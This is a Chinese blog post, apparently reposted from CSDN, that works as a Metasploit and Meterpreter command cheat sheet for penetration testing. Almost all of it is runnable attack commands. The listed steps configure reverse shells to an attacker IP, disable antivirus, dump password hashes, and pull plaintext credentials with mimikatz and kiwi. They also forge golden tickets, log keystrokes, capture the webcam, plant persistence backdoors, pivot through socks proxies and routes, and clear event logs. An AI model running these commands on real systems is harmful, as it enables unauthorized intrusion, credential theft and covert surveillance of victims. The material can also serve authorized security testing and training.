metasploit(MSF)渗透超细解说 -- 小黑渗透工具

metasploit Framework(msf)里带数千个已知的软件漏洞,并保持持续更新,Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,采用Ruby语言编写。黑掉整个宇宙的称号!!!

初心:    记录msfconsole的渗透测试流程,以及每个流程点常用到的一些命令,其中还有一些不足的地方大家可以指出来,我会在本博客中添加补充,也会将大家的名字备注在补充的章节内!!  一起加油  ^-^

本章出后后续会出实战测试,也会将win和linux常用命令做一期更新。

目录 

kali自带的msf,升级更新

基本渗透使用流程

攻击载荷参数设置

meterpreter【获取权限后的后渗透工具】

meterperter特点【后渗透模块】

后渗透命令【win主机系统信息命令】

POST  后渗透模块【获取目标主机控制权后的渗透攻击】

后渗透流程【流程常用命令】

使用mimikatx抓取密码

提权【win提权到system】

KiWi模块使用(msf中集成mimikatz模块被kiwi取代)

后渗透模块【主机安装应用参数配置】

后渗透模块【后台操作设置】

 建立持续性后门

MSF搭建socks代理

路由配置

路由参数说明

 portfwd端口转发win系统

powershell收集域内信息

备注:meterpreter模块加载命令


kali自带的msf,升级更新

apt update                            更新安装包信息,只检查不更新

apt  upgrade                         更新已安装的软件包,不删除旧包

apt  full-upgrade                   升级包,删除旧包

长时间没有用kali,会导致数字签名会过期,从而导致无法更新源。

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add    解决

基本渗透使用流程

msfconsole                                   进入框架 search  ms17_010    

                   

search查找相关的漏洞攻击模块 (Auxiliary为辅助探测是否有该漏洞模块,exploit为漏洞利用模块)

use   xxx/xxx/xxx                       use选择攻击模块

info                                             使用info查看漏洞类型的信息(针对的系统版本、语言版本)

show payloads                             查看此漏洞可以利用的payload

set payload   xxx/xxx                    设置攻击载荷

show options                                查看模块需要配置的参数

show targets                                 查看可攻击的系统平台(默认会自动判断目标操作系统版本和语言)

set   xxxx                                     设置参数

exploit    /  run                              保存/攻击(如果是探测的话显示  + 号代表存在该漏洞) 后渗透阶段

攻击载荷参数设置

set RHOST 192.168.100.158   #设置RHOST,也就是要攻击主机的ip

set LHOST 192.168.100.132   #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell

set lport 6666              #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;

meterpreter【获取权限后的后渗透工具】

meterpreter属于stage payload,在Metasploit Framework中,Meterpreter属于一种在运行过程中可通过网络进行功能扩展型payload。这种工具基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

工作流程:目标先要执行初始的溢出的漏洞会话连接,可能是bind正向连接,或者反弹revers连接。反弹连接的时候加载dll链接文件,同时后台悄悄处理dll文件。 然后通过meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到GET请求后配置相应的客户端。 最后,meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

meterperter特点【后渗透模块】

meterpreter完全驻留在内存,没有写入磁盘

Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。 默认情况下,mertepreter的通信是加密的,所以很安全

    扩展性,许多新的特征模块可以被加载。            

                   设置payload时,可以设置为反向链接,可以获得meterpreter>            

                   就可以接着后渗透流程

?          【直接输入?,可以查看meterpreter中的参数说明】

background     【可以把meterpreter挂载到后台运行】

sessions -l       【查看获得的meterpreter_shell会话列表】

后渗透命令【win主机系统信息命令】

sysinfo                     查看目标主机系统信息

run scraper               查看目标主机详细信息

run hashdump           导出密码的哈希

load kiwi                  加载mimikatz

ps                           查看目标主机进程信息

pwd                         查看目标当前目录(windows)

getlwd                     查看目录当前目录(linux) search -f *.jsp -d e:\    搜索e盘中所有以.jsp为后缀的文件

download  e:\test.txt /root        将目标主机的e:\test.txt文件下载到/root目录下

upload /root/test.txt  d:\test      将/root/test.txt 上传到目录机的d:\test\目录

getpid                          查看Meterpreter shell的进程PID

migrate 1384                将当前Merterpreter shell的进程迁移到PID为1384的进程上

idletime                        查看主机运行时间

getuid                          查看获取的当前权限

getsystem                   提权,获得的当前用户是administrator才能成功

run killav                    关闭杀毒软件

screenshot                 截图

webcam_list              查看目标主机的摄像头

webcam_snap          拍照

webcam_stream       开视频

execute                    参数 -f 可执行文件             执行可执行程序

run getgui -u testl -p ABC123                   创建testl用户,密码为ABC123

run getgui -e                                          开启远程桌面

keyscan_start                                        开启键盘记录功能

keyscan_dump                                       显示捕捉到的键盘记录信息

keyscan_stop                                         停止键盘记录功能

uictl disable  keyboard                            禁止目标使用键盘

uictl enable  keyboard                             允许目标使用键盘

uictl disable  mouse                                禁止目标使用鼠标

uictl enable   mouse                               允许目标使用鼠标

load                                                      使用扩展库

run                                                        使用扩展库

POST  后渗透模块【获取目标主机控制权后的渗透攻击】

manage

run   post/windows/manage/migrate                                  自动进程迁移 

run   post/windows/manage/killav                                      关闭杀毒软件

run   post/windows/manage/enable_rdp                            开启远程桌面服务

run   post/windows/manage/autoroute                               查看路由信息

run  post/windows/manage/enable_rdp  USERNAME=SS2 PASSWORD=123456     

添加远程桌面用户

run   post/windows/manage/enable_rdp FORWARD=true  LPORT=6662 

将3389端口转发到6662

gather

run   post/windows/gather/enum_logged_on_users           列举当前登录的用户

run  post/windows/gather/enum_applications                     列举应用程序

run  post/windows/gather/credentials/windows_autologin    抓取自动登录的用户名和密码 run  post/windows/gather/smart_hashdump                         dump出所有用户的hash

run  post/windows/gather/enum_domain                              查看域控

run  post/windows/gather/enum_patches                             补丁信息【获取是否有直接可以利用的msf补丁序号】

run  post/windows/gather/checkvm                                     查看目标主机是否运行在虚拟机上

   后渗透流程【流程常用命令】

sysinfo                                                             查看目标主机的信息

run   post/windows/gather/checkvm               查看主机是否运行在虚拟机上

run killav                                                         关闭掉目标主机杀毒软件

run scraper                                                     获取目标主机的详细信息 访问文件系统

pwd                                                                查看当前目录

cat                                                                 读取文件内容

rm                                                                   删除文件

edit                                                                 使用vim编辑文件

mkdir                                                              新建目录

rmdir                                                               删除目录

download   file (文件)                                 帮助从目标系统中下载文件

duload  file(文件)                                        向目标系统上传文件

getuid                                                             命令可以获取当前用户的信息

getsystem                                                       自动提权为系统权限

使用mimikatx抓取密码

run windows/gather/credentials/windows_autologin     抓取自动登录的用户名和密码

run  hashdump              导出密码哈希 导出格式:    用户名:SID:LM哈希:NTLM哈希:::

run windows/gather/smart_hashdump                 命令的使用需要系统权限

前提:执行mimikatz必须System权限,并且执行时,要根据当前的系统位数进行选择

首先查看当前会话的权限(getuid),然后看系统位数(sysinfo),(upload )上传文件绝对路径,execute -i -f mimikatz.exe(执行)   【注:mimikatz必须使用system权限】

抓取密码: privilege::debug

                   sekurlsa::logonpasswords

提权【win提权到system】

一、当前权限是administrator用户

二、利用其它手段先提权到admininistrator用户,然后administrator用户可以直接在meterpreter_shell使用命令getsystem提权到system权限。

       

getuid                                  查看当前会话用户身份

getsystem                           尝试自动提权

KiWi模块使用(msf中集成mimikatz模块被kiwi取代)

msf中集成的mimikatz模块已经被kiwi取代            

         前提:提权到system权限,kiwi默认加载是32位。 如果目标主机是64位系统,泽必须先看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并查看系统明文。         

sysinfo                                                      查看系统的 

ps                                                             查看是否有64位进程

migrate  PID                                             进程迁移到Pid上

kiwi_cmd   sekurlsa::logonpasswords      可以使用mimikatz的全部功能

ps                                                   查看进程

load  kiwi                                        加载kiwi模块

help  kiwi                                        查看kiwi模块

creds_all                                         列举所有1凭据,可以列举系统中的明文密码

creds_kerberos                               列举所有kerberos凭据

creds_msv                                      列举所有msv凭据

creds_ssp                                      列举所有ssp凭据

creds_tspkg                                   列举所有tspkg凭据

creds_wdigest                               列举所有wdigest凭据

dcsync                                           通过dcsync检索用户账户信息

dcsync_ntlm                                   通过dcsync检索用户账户NTM散列、SID和RID

golden_ticket_create                     创建黄金票据

kerberos_ticket_list                       列举kerberos票据

kerberos_ticket_purge                  清除kerberos票据

kerberos_ticket_use                      使用kerberos票据

kiwi_cmd                                       执行mimikatz的命令,后面接mimikatz.exe命令 lsa_dump_sam                              dump出lsa的SAM

lsa_dump_secrets                          dump出lsa的密文

password_change                          修改密码

wifi_list                                            列出当前用户的wifi配置文件

wifi_list_shared                               列出共享wifi配置文件/编码

后渗透模块【主机安装应用参数配置】

run post/windows/gathtier/enum_applications                          查看目标主机安装哪些应用

execute   + [参数]

-f   伪造的线程令牌运指定可执行文件

-H  创建一个隐藏进程

-a   传递给命令的参数

-i    跟进程进行交互

-m   从内存中执行

-t    使用当前行进程

-s   在给定会话执行进程

screenshot                                                                       截图目标主机屏幕

run  post/windows/gather/enum_logged_on_users         查看目标主机有用户

创建账户:

方式一: run  getgui  -u  用户名 -p  密码

方式二: run post/windows/manage/enable_rdp  username=xxx password=xxxx

启用远程桌面:

idletime                                                                           检查远程用户的空闲时长

run  post/windows/manage/enable_rdp                          开启远程桌面

run  post/windows/manage/enable_rdp  FORWARD=true LPORT=6662     将3389端口转发到6662端口

后渗透模块【后台操作设置】

 键盘记录:

keyscan_start                                       开启键盘记录功能

keyscan_dump                                     显示捕捉到的键盘记录信息

keyscan_stop                                       停止键盘记录功能

禁止目标主机使用键盘鼠标:

uictl  disable(enable)  keyboard           禁止允许目标使用键盘

uictl   disable(enable)  mouse         禁止目标使用鼠标

目标主机摄像头拍照:

webcam_list                                         获取目标系统的摄像头列表

webcam_snap                                     从指定的摄像头,拍摄照片

webcam_stream                                  从指定的摄像头,开启视频

load/use                                              加载模块

load  -l                                                列出所有可用的扩展

load -help                                          帮助;

说明 生成后门木马,然后放到windows的启动目录中: C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动:   run  exploit/windows/local/peristence lhost=192.168.100.132  lport=xxx

进程连接192.168.100.132:8888  【缺点容易被杀毒】

netstat  -ano : findstr “8888”

 建立持续性后门

meterpreter模块基于内存DLL建立的连接,需要在目标系统内部留下一个持续性的后门。

两种方式:

        一种通过启动项启动(persistence),

        第二种服务启动(metsvc)

启动项:

首先要生成一个后门木马,然后放入windows的启动目录中,只要开机就可以启动连接对应端口。

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动:

run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        

#会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀

MSF搭建socks代理

msf中有三个代理模块 socks4a  、 socks5  、 socks_unc socks5可以设置用户名和密码,但有时候msf不会监听端口,可能导致代理失败 use  auxiliary/server/socks     使用该模块 这里socks模块只是将代理设置为监听(默认为1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流程也都能达到内网。

代理设置:

msf中将模块改为    use  auxiliary/server/socks_proxy

show options                查看模块详情 设置sock监听的接口IP和端口          

set  SRVHOST  ip(127.0.0.1)  && set  SRVPORT   端口

socks4a代理设置:

use   auxiliary/server/socks4a

set  SRVHOST     0.0.0.0

set  SRVPORT     1080 run

socks5代理设置:

use   auxiliary/server/socks5

set  SRVHOST     0.0.0.0

set  SRVPORT     1080

set   USERNAME   root

set   PASSWORD Password@

run

连接代理:

编辑本地proxychains程序配置文件 vim  /etc/proxychains.conf 浏览器也需要设置代理,直接通过浏览器就可以访问内网,找到ProxyList

[ProxyList]

中添加socks5 0.0.0.0 1080  root  password    【1080为监听端口】

用nmap测试程序时,必须使用proxychains4 nma -sT -Pn  xxxx  才可以

路由配置

 【使用代理前添加路由】

先添加路由让MSF能达到目标机器内网。

route add 209.98.32.33 mask 255.255.255.224  202.96.123.3  metric 5    执行命令添加路由

route print            打印路由的Destination        

route delete  209.98.32.33   删除路由

route change 209.98.32.33 netmask 255.255.255.224  202.96.123.3  metric 5【修改209.98.32.33网关修改为202.96.132.3】

路由转发:

方式一:

route                         查看网段信息

background               将目前进程挂到后台,回到msf

route add 172.16.10..0 255.255.255.0  1    添加路由(1是挂起session编号)

route  print                

查看路由信息

方式二: use   post/multi/manage/autoroute

set   session 1 exploit       【直接加载这个模块,调用session】

缺点: 通过这种方式做代理转发,只能是msf使用,其它的应用无法使用,其它应用使用需要增加sock代理。

路由参数说明

 add                     增加路由记录                                        

 del                      删除路由记录

target                   目的网络或目的主机                                

gw                       设置默认网关

mss                     设置TCP的最大区块长度,单位MB            

windows              指定通过路由表的TCP连接的TCP窗口大小

dev                      路由记录所表示的网络接口

netmask              设置掩码长度                                    

-A                        设置地址类型      

-c                         打印Linux内核的路由缓存  

-v                          显示详细信息      

 -n                       不执行DNS反向查找,直接显示数字形式的IP地址

-e                        netstart格式显示路由表        

 -net                    到一个网络的路由表

-host                   到一个主机的路由表

 portfwd端口转发win系统

portfwd add -l 9999 -r 192.168.100.158 -p 3389             

#将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权

限的主机的ip地址

portfwd  add -l  9999 -r 192.168.100.158 -p 3389    

-l        本地监听端口

-p       目标服务器端口

add     添加一个连接

将目标端口转发到本地监听端口,用于接收目标主机的端口反弹

rdesktop        127.0.0.1:9999      访问本地9999端口即可连接到目标主机的3389端口

clearev                       #清除日志

powershell收集域内信息

load  powershell                                                     加载powershell功能

powershell_import  /root/PowerView.ps1               导入powershell脚本,提前将该powershell脚本放到指定目标

powershell_execute  Get-NetDomain                    该模块获取域信息

powershell_execute Invoke-UserHunter               该功能模块用于定位域管理员登录的主机 powershell_execute Get-NetForest                      该模块用于定位域信息 powershell_execute Invoke-EnumerateLocalAdmin                             

枚举域中所有计算机上本地管理员组的成员

备注:meterpreter模块加载命令

meterpreter模块命令不齐全,可以执行load lstdapi加载补全命令

有时候后渗透收到的不是meterperpreter类型的session,可以用sessions -u id 来升级session。执行该命令,默认调用的是  /post/multi/manage/shell_to_meterpreter.

sessions -u   id    中的 id 为载荷id

猜你喜欢

转载自blog.csdn.net/G_WEB_Xie/article/details/130560266